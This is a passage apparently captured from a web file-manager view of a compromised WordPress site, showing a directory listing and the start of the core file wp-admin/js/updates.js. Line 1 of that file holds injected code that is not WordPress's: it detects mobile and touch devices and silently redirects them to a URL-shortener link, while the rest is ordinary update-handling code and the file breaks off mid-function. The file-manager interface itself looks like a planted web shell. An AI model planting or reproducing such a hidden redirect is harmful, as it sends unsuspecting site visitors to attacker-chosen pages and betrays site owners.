at path:ROOT / wp-admin / js / updates.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄updates.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Functions for ajaxified updates, deletions and installs inside the WordPress admin.
4 *
5 * @version 4.2.0
6 * @output wp-admin/js/updates.js
7 */
8
9/* global pagenow, _wpThemeSettings */
10
11/**
12 * @param {jQuery} $ jQuery object.
13 * @param {object} wp WP object.
14 * @param {object} settings WP Updates settings.
15 * @param {string} settings.ajax_nonce Ajax nonce.
16 * @param {object=} settings.plugins Base names of plugins in their different states.
17 * @param {Array} settings.plugins.all Base names of all plugins.
18 * @param {Array} settings.plugins.active Base names of active plugins.
19 * @param {Array} settings.plugins.inactive Base names of inactive plugins.
20 * @param {Array} settings.plugins.upgrade Base names of plugins with updates available.
21 * @param {Array} settings.plugins.recently_activated Base names of recently activated plugins.
22 * @param {Array} settings.plugins['auto-update-enabled'] Base names of plugins set to auto-update.
23 * @param {Array} settings.plugins['auto-update-disabled'] Base names of plugins set to not auto-update.
24 * @param {object=} settings.themes Slugs of themes in their different states.
25 * @param {Array} settings.themes.all Slugs of all themes.
26 * @param {Array} settings.themes.upgrade Slugs of themes with updates available.
27 * @param {Arrat} settings.themes.disabled Slugs of disabled themes.
28 * @param {Array} settings.themes['auto-update-enabled'] Slugs of themes set to auto-update.
29 * @param {Array} settings.themes['auto-update-disabled'] Slugs of themes set to not auto-update.
30 * @param {object=} settings.totals Combined information for available update counts.
31 * @param {number} settings.totals.count Holds the amount of available updates.
32 */
33(function( $, wp, settings ) {
34 var $document = $( document ),
35 __ = wp.i18n.__,
36 _x = wp.i18n._x,
37 _n = wp.i18n._n,
38 _nx = wp.i18n._nx,
39 sprintf = wp.i18n.sprintf;
40
41 wp = wp || {};
42
43 /**
44 * The WP Updates object.
45 *
46 * @since 4.2.0
47 *
48 * @namespace wp.updates
49 */
50 wp.updates = {};
51
52 /**
53 * Removed in 5.5.0, needed for back-compatibility.
54 *
55 * @since 4.2.0
56 * @deprecated 5.5.0
57 *
58 * @type {object}
59 */
60 wp.updates.l10n = {
61 searchResults: '',
62 searchResultsLabel: '',
63 noPlugins: '',
64 noItemsSelected: '',
65 updating: '',
66 pluginUpdated: '',
67 themeUpdated: '',
68 update: '',
69 updateNow: '',
70 pluginUpdateNowLabel: '',
71 updateFailedShort: '',
72 updateFailed: '',
73 pluginUpdatingLabel: '',
74 pluginUpdatedLabel: '',
75 pluginUpdateFailedLabel: '',
76 updatingMsg: '',
77 updatedMsg: '',
78 updateCancel: '',
79 beforeunload: '',
80 installNow: '',
81 pluginInstallNowLabel: '',
82 installing: '',
83 pluginInstalled: '',
84 themeInstalled: '',
85 installFailedShort: '',
86 installFailed: '',
87 pluginInstallingLabel: '',
88 themeInstallingLabel: '',
89 pluginInstalledLabel: '',
90 themeInstalledLabel: '',
91 pluginInstallFailedLabel: '',
92 themeInstallFailedLabel: '',
93 installingMsg: '',
94 installedMsg: '',
95 importerInstalledMsg: '',
96 aysDelete: '',
97 aysDeleteUninstall: '',
98 aysBulkDelete: '',
99 aysBulkDeleteThemes: '',
100 deleting: '',
101 deleteFailed: '',
102 pluginDeleted: '',
103 themeDeleted: '',
104 livePreview: '',
105 activatePlugin: '',
106 activateTheme: '',
107 activatePluginLabel: '',
108 activateThemeLabel: '',
109 activateImporter: '',
110 activateImporterLabel: '',
111 unknownError: '',
112 connectionError: '',
113 nonceError: '',
114 pluginsFound: '',
115 noPluginsFound: '',
116 autoUpdatesEnable: '',
117 autoUpdatesEnabling: '',
118 autoUpdatesEnabled: '',
119 autoUpdatesDisable: '',
120 autoUpdatesDisabling: '',
121 autoUpdatesDisabled: '',
122 autoUpdatesError: ''
123 };
124
125 wp.updates.l10n = window.wp.deprecateL10nObject( 'wp.updates.l10n', wp.updates.l10n, '5.5.0' );
126
127 /**
128 * User nonce for ajax calls.
129 *
130 * @since 4.2.0
131 *
132 * @type {string}
133 */
134 wp.updates.ajaxNonce = settings.ajax_nonce;
135
136 /**
137 * Current search term.
138 *
139 * @since 4.6.0
140 *
141 * @type {string}
142 */
143 wp.updates.searchTerm = '';
144
145 /**
146 * Minimum number of characters before an ajax search is fired.
147 *
148 * @since 6.7.0
149 *
150 * @type {number}
151 */
152 wp.updates.searchMinCharacters = 2;
153
154 /**
155 * Whether filesystem credentials need to be requested from the user.
156 *
157 * @since 4.2.0
158 *
159 * @type {bool}
160 */
161 wp.updates.shouldRequestFilesystemCredentials = false;
162
163 /**
164 * Filesystem credentials to be packaged along with the request.
165 *
166 * @since 4.2.0
167 * @since 4.6.0 Added `available` property to indicate whether credentials have been provided.
168 *
169 * @type {Object}
170 * @property {Object} filesystemCredentials.ftp Holds FTP credentials.
171 * @property {string} filesystemCredentials.ftp.host FTP host. Default empty string.
172 * @property {string} filesystemCredentials.ftp.username FTP user name. Default empty string.
173 * @property {string} filesystemCredentials.ftp.password FTP password. Default empty string.
174 * @property {string} filesystemCredentials.ftp.connectionType Type of FTP connection. 'ssh', 'ftp', or 'ftps'.
175 * Default empty string.
176 * @property {Object} filesystemCredentials.ssh Holds SSH credentials.
177 * @property {string} filesystemCredentials.ssh.publicKey The public key. Default empty string.
178 * @property {string} filesystemCredentials.ssh.privateKey The private key. Default empty string.
179 * @property {string} filesystemCredentials.fsNonce Filesystem credentials form nonce.
180 * @property {bool} filesystemCredentials.available Whether filesystem credentials have been provided.
181 * Default 'false'.
182 */
183 wp.updates.filesystemCredentials = {
184 ftp: {
185 host: '',
186 username: '',
187 password: '',
188 connectionType: ''
189 },
190 ssh: {
191 publicKey: '',
192 privateKey: ''
193 },
194 fsNonce: '',
195 available: false
196 };
197
198 /**
199 * Whether we're waiting for an Ajax request to complete.
200 *
201 * @since 4.2.0
202 * @since 4.6.0 More accurately named `ajaxLocked`.
203 *
204 * @type {bool}
205 */
206 wp.updates.ajaxLocked = false;
207
208 /**
209 * Admin notice template.
210 *
211 * @since 4.6.0
212 *
213 * @type {function}
214 */
215 wp.updates.adminNotice = wp.template( 'wp-updates-admin-notice' );
216
217 /**
218 * Update queue.
219 *
220 * If the user tries to update a plugin while an update is
221 * already happening, it can be placed in this queue to perform later.
222 *
223 * @since 4.2.0
224 * @since 4.6.0 More accurately named `queue`.
225 *
226 * @type {Array.object}
227 */
228 wp.updates.queue = [];
229
230 /**
231 * Holds a jQuery reference to return focus to when exiting the request credentials modal.
232 *
233 * @since 4.2.0
234 *
235 * @type {jQuery}
236 */
237 wp.updates.$elToReturnFocusToFromCredentialsModal = undefined;
238
239 /**
240 * Adds or updates an admin notice.
241 *
242 * @since 4.6.0
243 *
244 * @param {Object} data
245 * @param {*=} data.selector Optional. Selector of an element to be replaced with the admin notice.
246 * @param {string=} data.id Optional. Unique id that will be used as the notice's id attribute.
247 * @param {string=} data.className Optional. Class names that will be used in the admin notice.
248 * @param {string=} data.message Optional. The message displayed in the notice.
249 * @param {number=} data.successes Optional. The amount of successful operations.
250 * @param {number=} data.errors Optional. The amount of failed operations.
251 * @param {Array=} data.errorMessages Optional. Error messages of failed operations.
252 *
253 */
254 wp.updates.addAdminNotice = function( data ) {
255 var $notice = $( data.selector ),
256 $headerEnd = $( '.wp-header-end' ),
257 $adminNotice;
258
259 delete data.selector;
260 $adminNotice = wp.updates.adminNotice( data );
261
262 // Check if this admin notice already exists.
263 if ( ! $notice.length ) {
264 $notice = $( '#' + data.id );
265 }
266
267 if ( $notice.length ) {
268 $notice.replaceWith( $adminNotice );
269 } else if ( $headerEnd.length ) {
270 $headerEnd.after( $adminNotice );
271 } else {
272 if ( 'customize' === pagenow ) {
273 $( '.customize-themes-notifications' ).append( $adminNotice );
274 } else {
275 $( '.wrap' ).find( '> h1' ).after( $adminNotice );
276 }
277 }
278
279 $document.trigger( 'wp-updates-notice-added' );
280 };
281
282 /**
283 * Handles Ajax requests to WordPress.
284 *
285 * @since 4.6.0
286 *
287 * @param {string} action The type of Ajax request ('update-plugin', 'install-theme', etc).
288 * @param {Object} data Data that needs to be passed to the ajax callback.
289 * @return {$.promise} A jQuery promise that represents the request,
290 * decorated with an abort() method.
291 */
292 wp.updates.ajax = function( action, data ) {
293 var options = {};
294
295 if ( wp.updates.ajaxLocked ) {
296 wp.updates.queue.push( {
297 action: action,
298 data: data
299 } );
300
301 // Return a Deferred object so callbacks can always be registered.
302 return $.Deferred();
303 }
304
305 wp.updates.ajaxLocked = true;
306
307 if ( data.success ) {
308 options.success = data.success;
309 delete data.success;
310 }
311
312 if ( data.error ) {
313 options.error = data.error;
314 delete data.error;
315 }
316
317 options.data = _.extend( data, {
318 action: action,
319 _ajax_nonce: wp.updates.ajaxNonce,
320 _fs_nonce: wp.updates.filesystemCredentials.fsNonce,
321 username: wp.updates.filesystemCredentials.ftp.username,
322 password: wp.updates.filesystemCredentials.ftp.password,
323 hostname: wp.updates.filesystemCredentials.ftp.hostname,
324 connection_type: wp.updates.filesystemCredentials.ftp.connectionType,
325 public_key: wp.updates.filesystemCredentials.ssh.publicKey,
326 private_key: wp.updates.filesystemCredentials.ssh.privateKey
327 } );
328
329 return wp.ajax.send( options ).always( wp.updates.ajaxAlways );
330 };
331
332 /**
333 * Actions performed after every Ajax request.
334 *
335 * @since 4.6.0
336 *
337 * @param {Object} response
338 * @param {Array=} response.debug Optional. Debug information.
339 * @param {string=} response.errorCode Optional. Error code for an error that occurred.
340 */
341 wp.updates.ajaxAlways = function( response ) {
342 if ( ! response.errorCode || 'unable_to_connect_to_filesystem' !== response.errorCode ) {
343 wp.updates.ajaxLocked = false;
344 wp.updates.queueChecker();
345 }
346
347 if ( 'undefined' !== typeof response.debug && window.console && window.console.log ) {
348 _.map( response.debug, function( message ) {
349 // Remove all HTML tags and write a message to the console.
350 window.console.log( wp.sanitize.stripTagsAndEncodeText( message ) );
351 } );
352 }
353 };
354
355 /**
356 * Refreshes update counts everywhere on the screen.
357 *
358 * @since 4.7.0
359 */
360 wp.updates.refreshCount = function() {
361 var $adminBarUpdates = $( '#wp-admin-bar-updates' ),
362 $dashboardNavMenuUpdateCount = $( 'a[href="update-core.php"] .update-plugins' ),
363 $pluginsNavMenuUpdateCount = $( 'a[href="plugins.php"] .update-plugins' ),
364 $appearanceNavMenuUpdateCount = $( 'a[href="themes.php"] .update-plugins' ),
365 itemCount;
366
367 $adminBarUpdates.find( '.ab-label' ).text( settings.totals.counts.total );
368 $adminBarUpdates.find( '.updates-available-text' ).text(
369 sprintf(
370 /* translators: %s: Total number of updates available. */
371 _n( '%s update available', '%s updates available', settings.totals.counts.total ),
372 settings.totals.counts.total
373 )
374 );
375
376 // Remove the update count from the toolbar if it's zero.
377 if ( 0 === settings.totals.counts.total ) {
378 $adminBarUpdates.find( '.ab-label' ).parents( 'li' ).remove();
379 }
380
381 // Update the "Updates" menu item.
382 $dashboardNavMenuUpdateCount.each( function( index, element ) {
383 element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.total );
384 } );
385 if ( settings.totals.counts.total > 0 ) {
386 $dashboardNavMenuUpdateCount.find( '.update-count' ).text( settings.totals.counts.total );
387 } else {
388 $dashboardNavMenuUpdateCount.remove();
389 }
390
391 // Update the "Plugins" menu item.
392 $pluginsNavMenuUpdateCount.each( function( index, element ) {
393 element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.plugins );
394 } );
395 if ( settings.totals.counts.total > 0 ) {
396 $pluginsNavMenuUpdateCount.find( '.plugin-count' ).text( settings.totals.counts.plugins );
397 } else {
398 $pluginsNavMenuUpdateCount.remove();
399 }
400
401 // Update the "Appearance" menu item.
402 $appearanceNavMenuUpdateCount.each( function( index, element ) {
403 element.className = element.className.replace( /count-\d+/, 'count-' + settings.totals.counts.themes );
404 } );
405 if ( settings.totals.counts.total > 0 ) {
406 $appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes );
407 } else {
408 $appearanceNavMenuUpdateCount.remove();
409 }
410
411 // Update list table filter navigation.
412 if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
413 itemCount = settings.totals.counts.plugins;
414 } else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
415 itemCount = settings.totals.counts.themes;
416 }
417
418 if ( itemCount > 0 ) {
419 $( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' );
420 } else {
421 $( '.subsubsub .upgrade' ).remove();
422 $( '.subsubsub li:last' ).html( function() { return $( this ).children(); } );
423 }
424 };
425
426 /**
427 * Sends a message from a modal to the main screen to update buttons in plugin cards.
428 *
429 * @since 6.5.0
430 *
431 * @param {Object} data An object of data to use for the button.
432 * @param {string} data.slug The plugin's slug.
433 * @param {string} data.text The text to use for the button.
434 * @param {string} data.ariaLabel The value for the button's aria-label attribute. An empty string removes the attribute.
435 * @param {string=} data.status Optional. An identifier for the status.
436 * @param {string=} data.removeClasses Optional. A space-separated list of classes to remove from the button.
437 * @param {string=} data.addClasses Optional. A space-separated list of classes to add to the button.
438 * @param {string=} data.href Optional. The button's URL.
439 * @param {string=} data.pluginName Optional. The plugin's name.
440 * @param {string=} data.plugin Optional. The plugin file, relative to the plugins directory.
441 */
442 wp.updates.setCardButtonStatus = function( data ) {
443 var target = window.parent === window ? null : window.parent;
444
445 $.support.postMessage = !! window.postMessage;
446 if ( false !== $.support.postMessage && null !== target && -1 === window.parent.location.pathname.indexOf( 'index.php' ) ) {
447 target.postMessage( JSON.stringify( data ), window.location.origin );
448 }
449 };
450
451 /**
452 * Decrements the update counts throughout the various menus.
453 *
454 * This includes the toolbar, the "Updates" menu item and the menu items
455 * for plugins and themes.
456 *
457 * @since 3.9.0
458 *
459 * @param {string} type The type of item that was updated or deleted.
460 * Can be 'plugin', 'theme'.
461 */
462 wp.updates.decrementCount = function( type ) {
463 settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 );
464
465 if ( 'plugin' === type ) {
466 settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 );
467 } else if ( 'theme' === type ) {
468 settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 );
469 }
470
471 wp.updates.refreshCount( type );
472 };
473
474 /**
475 * Sends an Ajax request to the server to update a plugin.
476 *
477 * @since 4.2.0
478 * @since 4.6.0 More accurately named `updatePlugin`.
479 *
480 * @param {Object} args Arguments.
481 * @param {string} args.plugin Plugin basename.
482 * @param {string} args.slug Plugin slug.
483 * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess
484 * @param {updatePluginError=} args.error Optional. Error callback. Default: wp.updates.updatePluginError
485 * @return {$.promise} A jQuery promise that represents the request,
486 * decorated with an abort() method.
487 */
488 wp.updates.updatePlugin = function( args ) {
489 var $updateRow, $card, $message, message,
490 $adminBarUpdates = $( '#wp-admin-bar-updates' ),
491 buttonText = __( 'Updating...' ),
492 isPluginInstall = 'plugin-install' === pagenow || 'plugin-install-network' === pagenow;
493
494 args = _.extend( {
495 success: wp.updates.updatePluginSuccess,
496 error: wp.updates.updatePluginError
497 }, args );
498
499 if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
500 $updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' );
501 $message = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
502 message = sprintf(
503 /* translators: %s: Plugin name and version. */
504 _x( 'Updating %s...', 'plugin' ),
505 $updateRow.find( '.plugin-title strong' ).text()
506 );
507 } else if ( isPluginInstall ) {
508 $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' );
509 $message = $card.find( '.update-now' ).addClass( 'updating-message' );
510 message = sprintf(
511 /* translators: %s: Plugin name and version. */
512 _x( 'Updating %s...', 'plugin' ),
513 $message.data( 'name' )
514 );
515
516 // Remove previous error messages, if any.
517 $card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove();
518 }
519
520 $adminBarUpdates.addClass( 'spin' );
521
522 if ( $message.html() !== __( 'Updating...' ) ) {
523 $message.data( 'originaltext', $message.html() );
524 }
525
526 $message
527 .attr( 'aria-label', message )
528 .text( buttonText );
529
530 $document.trigger( 'wp-plugin-updating', args );
531
532 if ( isPluginInstall && 'plugin-information-footer' === $card.attr( 'id' ) ) {
533 wp.updates.setCardButtonStatus(
534 {
535 status: 'updating-plugin',
536 slug: args.slug,
537 addClasses: 'updating-message',
538 text: buttonText,
539 ariaLabel: message
540 }
541 );
542 }
543
544 return wp.updates.ajax( 'update-plugin', args );
545 };
546
547 /**
548 * Updates the UI appropriately after a successful plugin update.
549 *
550 * @since 4.2.0
551 * @since 4.6.0 More accurately named `updatePluginSuccess`.
552 * @since 5.5.0 Auto-update "time to next update" text cleared.
553 *
554 * @param {Object} response Response from the server.
555 * @param {string} response.slug Slug of the plugin to be updated.
556 * @param {string} response.plugin Basename of the plugin to be updated.
557 * @param {string} response.pluginName Name of the plugin to be updated.
558 * @param {string} response.oldVersion Old version of the plugin.
559 * @param {string} response.newVersion New version of the plugin.
560 */
561 wp.updates.updatePluginSuccess = function( response ) {
562 var $pluginRow, $updateMessage, newText,
563 $adminBarUpdates = $( '#wp-admin-bar-updates' ),
564 buttonText = _x( 'Updated!', 'plugin' ),
565 ariaLabel = sprintf(
566 /* translators: %s: Plugin name and version. */
567 _x( '%s updated!', 'plugin' ),
568 response.pluginName
569 );
570
571 if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
572 $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' )
573 .removeClass( 'update is-enqueued' )
574 .addClass( 'updated' );
575 $updateMessage = $pluginRow.find( '.update-message' )
576 .removeClass( 'updating-message notice-warning' )
577 .addClass( 'updated-message notice-success' ).find( 'p' );
578
579 // Update the version number in the row.
580 newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
581 $pluginRow.find( '.plugin-version-author-uri' ).html( newText );
582
583 // Clear the "time to next auto-update" text.
584 $pluginRow.find( '.auto-update-time' ).empty();
585 } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
586 $updateMessage = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.update-now' )
587 .removeClass( 'updating-message' )
588 .addClass( 'button-disabled updated-message' );
589 }
590
591 $adminBarUpdates.removeClass( 'spin' );
592
593 $updateMessage
594 .attr( 'aria-label', ariaLabel )
595 .text( buttonText );
596
597 wp.a11y.speak( __( 'Update completed successfully.' ) );
598
599 if ( 'plugin_install_from_iframe' !== $updateMessage.attr( 'id' ) ) {
600 wp.updates.decrementCount( 'plugin' );
601 } else {
602 wp.updates.setCardButtonStatus(
603 {
604 status: 'updated-plugin',
605 slug: response.slug,
606 removeClasses: 'updating-message',
607 addClasses: 'button-disabled updated-message',
608 text: buttonText,
609 ariaLabel: ariaLabel
610 }
611 );
612 }
613
614 $document.trigger( 'wp-plugin-update-success', response );
615 };
616
617 /**
618 * Updates the UI appropriately after a failed plugin update.
619 *
620 * @since 4.2.0
621 * @since 4.6.0 More accurately named `updatePluginError`.
622 *
623 * @param {Object} response Response from the server.
624 * @param {string} response.slug Slug of the plugin to be updated.
625 * @param {string} response.plugin Basename of the plugin to be updated.
626 * @param {string=} response.pluginName Optional. Name of the plugin to be updated.
627 * @param {string} response.errorCode Error code for the error that occurred.
628 * @param {string} response.errorMessage The error that occurred.
629 */
630 wp.updates.updatePluginError = function( response ) {
631 var $pluginRow, $card, $message, errorMessage, buttonText, ariaLabel,
632 $adminBarUpdates = $( '#wp-admin-bar-updates' );
633
634 if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
635 return;
636 }
637
638 if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) {
639 return;
640 }
641
642 errorMessage = sprintf(
643 /* translators: %s: Error string for a failed update. */
644 __( 'Update failed: %s' ),
645 response.errorMessage
646 );
647
648 if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
649 $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ).removeClass( 'is-enqueued' );
650
651 if ( response.plugin ) {
652 $message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' );
653 } else {
654 $message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' );
655 }
656 $message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage );
657
658 if ( response.pluginName ) {
659 $message.find( 'p' )
660 .attr(
661 'aria-label',
662 sprintf(
663 /* translators: %s: Plugin name and version. */
664 _x( '%s update failed.', 'plugin' ),
665 response.pluginName
666 )
667 );
668 } else {
669 $message.find( 'p' ).removeAttr( 'aria-label' );
670 }
671 } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
672 buttonText = __( 'Update failed.' );
673
674 $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' )
675 .append( wp.updates.adminNotice( {
676 className: 'update-message notice-error notice-alt is-dismissible',
677 message: errorMessage
678 } ) );
679
680 if ( $card.hasClass( 'plugin-card-' + response.slug ) ) {
681 $card.addClass( 'plugin-card-update-failed' );
682 }
683
684 $card.find( '.update-now' )
685 .text( buttonText )
686 .removeClass( 'updating-message' );
687
688 if ( response.pluginName ) {
689 ariaLabel = sprintf(
690 /* translators: %s: Plugin name and version. */
691 _x( '%s update failed.', 'plugin' ),
692 response.pluginName
693 );
694
695 $card.find( '.update-now' ).attr( 'aria-label', ariaLabel );
696 } else {
697 ariaLabel = '';
698 $card.find( '.update-now' ).removeAttr( 'aria-label' );
699 }
700
701 $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {
702
703 // Use same delay as the total duration of the notice fadeTo + slideUp animation.
704 setTimeout( function() {
705 $card
706 .removeClass( 'plugin-card-update-failed' )
707 .find( '.column-name a' ).trigger( 'focus' );
708
709 $card.find( '.update-now' )
710 .attr( 'aria-label', false )
711 .text( __( 'Update Now' ) );
712 }, 200 );
713 } );
714 }
715
716 $adminBarUpdates.removeClass( 'spin' );
717
718 wp.a11y.speak( errorMessage, 'assertive' );
719
720 if ( 'plugin-information-footer' === $card.attr('id' ) ) {
721 wp.updates.setCardButtonStatus(
722 {
723 status: 'plugin-update-failed',
724 slug: response.slug,
725 removeClasses: 'updating-message',
726 text: buttonText,
727 ariaLabel: ariaLabel
728 }
729 );
730 }
731
732 $document.trigger( 'wp-plugin-update-error', response );
733 };
734
735 /**
736 * Sends an Ajax request to the server to install a plugin.
737 *
738 * @since 4.6.0
739 *
740 * @param {Object} args Arguments.
741 * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository.
742 * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess
743 * @param {installPluginError=} args.error Optional. Error callback. Default: wp.updates.installPluginError
744 * @return {$.promise} A jQuery promise that represents the request,
745 * decorated with an abort() method.
746 */
747 wp.updates.installPlugin = function( args ) {
748 var $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ),
749 $message = $card.find( '.install-now' ),
750 buttonText = __( 'Installing...' ),
751 ariaLabel;
752
753 args = _.extend( {
754 success: wp.updates.installPluginSuccess,
755 error: wp.updates.installPluginError
756 }, args );
757
758 if ( 'import' === pagenow ) {
759 $message = $( '[data-slug="' + args.slug + '"]' );
760 }
761
762 if ( $message.html() !== __( 'Installing...' ) ) {
763 $message.data( 'originaltext', $message.html() );
764 }
765
766 ariaLabel = sprintf(
767 /* translators: %s: Plugin name and version. */
768 _x( 'Installing %s...', 'plugin' ),
769 $message.data( 'name' )
770 );
771
772 $message
773 .addClass( 'updating-message' )
774 .attr( 'aria-label', ariaLabel )
775 .text( buttonText );
776
777 wp.a11y.speak( __( 'Installing... please wait.' ) );
778
779 // Remove previous error messages, if any.
780 $card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove();
781
782 $document.trigger( 'wp-plugin-installing', args );
783
784 if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) {
785 wp.updates.setCardButtonStatus(
786 {
787 status: 'installing-plugin',
788 slug: args.slug,
789 addClasses: 'updating-message',
790 text: buttonText,
791 ariaLabel: ariaLabel
792 }
793 );
794 }
795
796 return wp.updates.ajax( 'install-plugin', args );
797 };
798
799 /**
800 * Updates the UI appropriately after a successful plugin install.
801 *
802 * @since 4.6.0
803 *
804 * @param {Object} response Response from the server.
805 * @param {string} response.slug Slug of the installed plugin.
806 * @param {string} response.pluginName Name of the installed plugin.
807 * @param {string} response.activateUrl URL to activate the just installed plugin.
808 */
809 wp.updates.installPluginSuccess = function( response ) {
810 var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ),
811 buttonText = _x( 'Installed!', 'plugin' ),
812 ariaLabel = sprintf(
813 /* translators: %s: Plugin name and version. */
